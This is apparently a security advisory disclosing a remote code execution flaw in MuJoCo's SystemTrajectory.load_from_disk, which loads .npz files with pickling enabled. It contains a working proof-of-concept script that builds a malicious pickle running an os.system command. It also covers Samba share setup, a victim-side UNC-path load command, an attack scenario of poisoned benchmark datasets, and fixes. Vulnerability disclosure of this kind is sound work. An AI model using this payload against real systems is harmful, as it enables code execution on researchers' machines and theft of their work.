Full Disclosure ID: HA-2026-00181

MuJoCo - Version 3.7.0 / Remote Code Execution (RCE) via Insecure Deserialization based on sink numpy.load and path argument (Supply Chain Compromise via SystemTrajectory Datasets)

JP
Joshua Provoste Security Researcher
Published June 01, 2026
Severity 9.8 (CRITICAL)
Target MuJoCo / Robotics Simulation Frameworks

Below are one (1) way to reproduce RCE in MuJoCo using an SMB share controlled by an attacker, without local intervention by a third party to modify files that allow code execution during the deserialization process.

For this PoC, two (2) different devices were used to simulate the interaction between an attacking machine (Raspberry Pi with IP 192.168.1.90) and a victim machine (Windows with IP 192.168.1.88).

Note: While this vulnerability is specifically verified and reported on version 3.7.0, other prior and subsequent versions may also be susceptible to this insecure deserialization vector.

Introduction

MuJoCo Logo

MuJoCo (Multi-Joint dynamics with Contact) is a free and open-source physics engine designed to facilitate research and development in robotics, biomechanics, graphics, animation, and other areas where fast and accurate simulation of articulated structures interacting with obstacles is required. Managed and open-sourced by Google DeepMind, it serves as a foundational tool for training reinforcement learning agents and evaluating physical simulators.

The platform's importance lies in its role as a key validation standard for robotic control strategies and physical system modeling. Because roboticists regularly share trajectory rollouts as passive benchmark datasets to validate their identification algorithms, a vulnerability inside its dataset-loading components can easily lead to supply chain poisoning and the compromise of research assets.

Vulnerability Description

The mujoco.sysid.SystemTrajectory.load_from_disk method is vulnerable to insecure deserialization. The function utilizes numpy.load with allow_pickle=True to process trajectory archives. This configuration allows the deserialization of arbitrary Python objects embedded within the .npz file, specifically within signal mapping metadata fields. This vector facilitates a "Supply Chain" attack where malicious datasets can be distributed to compromise any researcher who attempts to load them for benchmarking or analysis.

The vulnerability exists in the trajectory loading routines of the mujoco.sysid module. When reading simulated trajectory rollouts from disk, the application relies on NumPy's binary archive format (.npz).

Because the deserialization is invoked with allow_pickle=True, loading a specially crafted dataset from an untrusted source triggers immediate execution of arbitrary Python code during the initialization of metadata maps.

The vulnerable code in mujoco/sysid/_src/trajectory.py:

Python (trajectory.py) Vulnerable Loader
  @classmethod
  def load_from_disk(
      cls,
      path: pathlib.Path,
      ...
    with np.load(path, allow_pickle=True) as npz: # <--- CRITICAL SINK (numpy.load with allow_pickle=True)
      ...
      if "control_signal_mapping" in npz:
        control_signal_mapping = npz["control_signal_mapping"].item() # <--- TRIGGER (Calling .item() on pickled array)

Technical Impact Analysis

Project Purpose & Context

MuJoCo's System Identification (sysid) toolbox is a critical component for modeling complex robotic systems. The SystemTrajectory class is the primary data structure for storing and sharing simulation rollouts. In the robotics community, sharing these trajectories as "benchmark datasets" is a standard practice for validating the accuracy of different identification algorithms.

Platform & Deployment Environment

The vulnerability affects all platforms supported by MuJoCo (Windows, Linux, macOS). However, it is particularly potent in Windows research environments where UNC path redirection can be used to fetch malicious datasets directly from remote attacker-controlled shares, bypassing local download requirements.

Comprehensive Risk Assessment

The risk is classified as CRITICAL. The transition from a "data" file (.npz) to "code execution" breaks the security assumptions of researchers who typically treat datasets as passive inputs. A single poisoned dataset distributed on a research portal can lead to widespread compromise of the robotics community's intellectual property and simulation infrastructure.

Attack Scenario

Who wants to exploit a particular vulnerability?

Adversaries targeting high-value robotics research, including state-sponsored groups or corporate spies looking to exfiltrate proprietary control logic or robot models developed using the MuJoCo framework.

For what gain?

The primary gain is the theft of trade secrets related to robotic system parameters and control strategies. Additionally, attackers can gain persistent access to high-performance computing (HPC) clusters or workstation environments where MuJoCo is used for training and validation.

In what way?

An attacker can upload "poisoned benchmarks" to popular research repositories or distribute them via collaborative platforms. By naming the dataset something enticing (e.g., "Ground_Truth_Humanoid_Walk_v2.npz"), the attacker ensures that target researchers will load the file into their MuJoCo environment, triggering the RCE payload during the initial loading phase.

Reproduction steps

On the Raspberry (attacker) - IP 192.168.1.90

kw0@kw0l4b:~ $ hostname -I | awk '{print $1}'
192.168.1.90

Shared Resource Configuration (SMB):

1. Install Samba: sudo apt update && sudo apt install samba samba-common-bin -y.
2. Prepare the attack directory:

mkdir ~/lab_attack
chmod 755 /home/kw0  # Allows Samba to access the HOME
chmod -R 777 ~/lab_attack

3. Configure Samba: Add to the end of /etc/samba/smb.conf:

[lab_share]
path = /home/kw0/lab_attack
read only = no
guest ok = yes

Payload Generation on the Raspberry: Run the specialized exploit.py script to generate the malicious_benchmark.npz file directly in the shared path:

exploit.py
import numpy as np
import os
import pathlib

class Exploit:
    def __reduce__(self):
        # Best Practice: Use 'or {}' so the result of the expression
        # is a dictionary, preventing crashes in the victim app.
        return (eval, ("__import__('os').system('calc.exe') or {}",))

# 1. Prepare dummy trajectory data (matching an empty model)
control_times = np.array([0.0, 0.1])
control_data = np.zeros((2, 0))
sensordata_times = np.array([0.0, 0.1])
sensordata_data = np.zeros((2, 0))
initial_state = np.zeros(0)

# 2. Inject the malicious object into a metadata field
# SystemTrajectory looks for "control_signal_mapping", "sensordata_signal_mapping", or "state_signal_mapping"
malicious_metadata = np.array(Exploit(), dtype=object)

# 3. Save as a standard NumPy archive directly in the SMB share
payload_path = "/home/kw0/lab_attack/malicious_benchmark.npz"
np.savez(
    payload_path,
    control_times=control_times,
    control_data=control_data,
    sensordata_times=sensordata_times,
    sensordata_data=sensordata_data,
    initial_state=initial_state,
    control_signal_mapping=malicious_metadata # TRIGGER POINT
)

print(f"[+] Malicious benchmark dataset generated in SMB share: {payload_path}")
python exploit.py
Payload generation on Samba share

On Windows (victim) - IP 192.168.1.88

(.venv) PS L:\Deserializer\PYPI-mujoco> Get-NetIPAddress -AddressFamily IPv4 | Where-Object PrefixOrigin -eq "Dhcp" | Select-Object -ExpandProperty IPAddress
192.168.1.88

1. Create a .venv, activate it, and install mujoco and the required dependencies: pip install mujoco numpy PyYAML colorama tabulate scipy jinja2 matplotlib plotly.
2. Enable the SMB share: net use Z: \\192.168.1.90\lab_share /persistent:no.
3. Run the following command to load the remote trajectory file, triggering the RCE payload:

python -c "import mujoco; from mujoco.sysid import SystemTrajectory; m=mujoco.MjModel.from_xml_string('<mujoco/>'); p=r'\\192.168.1.90\lab_share\malicious_benchmark.npz'; print(f'[*] Loading: {p}'); exec('try: SystemTrajectory.load_from_disk(p, m)\nexcept: pass')"
RCE confirmation pop-up on Windows

Executive Summary: RCE via Insecure Deserialization in MuJoCo (sysid)

The research documents a critical Remote Code Execution (RCE) vulnerability in the MuJoCo sysid (System Identification) toolbox, specifically within the SystemTrajectory.load_from_disk method.

  • Root Cause: The method uses numpy.load(path, allow_pickle=True) to process trajectory archive files (.npz) without validating the content.
  • Exploitation Mechanism: By providing a crafted .npz file containing malicious serialized objects in the control_signal_mapping metadata, an attacker can achieve code execution. On Windows systems, this is further exacerbated by the ability to use UNC paths (e.g., \\attacker-ip\share\malicious_benchmark.npz) to force the application to fetch and deserialize payloads from a remote SMB share.

Analysis of Scope and Security Implications

This vulnerability is of critical severity, as it targets standard research workflows where datasets are often shared and treated as passive, trusted inputs.

1. Infection Scenarios

  • Supply Chain Poisoning: Attackers can distribute "poisoned" benchmark datasets through popular research repositories or collaborative portals. Researchers downloading these files for benchmarking will trigger the RCE immediately upon loading the dataset into their environment.
  • Shared Infrastructure Exploitation: In collaborative laboratory environments, placing a malicious file on a shared network resource allows an attacker to compromise any user who attempts to benchmark or analyze that file.

2. Factors Exacerbating Risk

  • UNC Path Redirection: The vulnerability is particularly dangerous in Windows-based research workstations, where the application’s support for UNC paths allows attackers to trigger the exploit from a remote network share without requiring the victim to perform a local file download.
  • Implicit Trust in Research Data: MuJoCo is a foundational framework for robotics. The research community generally lacks defensive posture regarding dataset integrity, making this a highly effective vector for exfiltrating proprietary control logic and gaining persistent access to high-performance compute resources.

Conclusion and Recommendation

This is a critical-severity vulnerability. The use of numpy.load with allow_pickle=True on user-controlled input files is a dangerous practice that MuJoCo must urgently remediate.

Suggested actions for the development team:

  1. Disable Pickle: Set allow_pickle=False by default in numpy.load calls, or migrate away from pickle to safer serialization formats (e.g., JSON, Protobuf).
  2. Implement Signature Validation: Ensure that any dataset loaded by SystemTrajectory is cryptographically signed and verified against a trusted source.
  3. Restrict Path Resolution: Sanitize input paths to prevent the use of UNC/SMB protocols or any network-based file resolution within the load_from_disk method.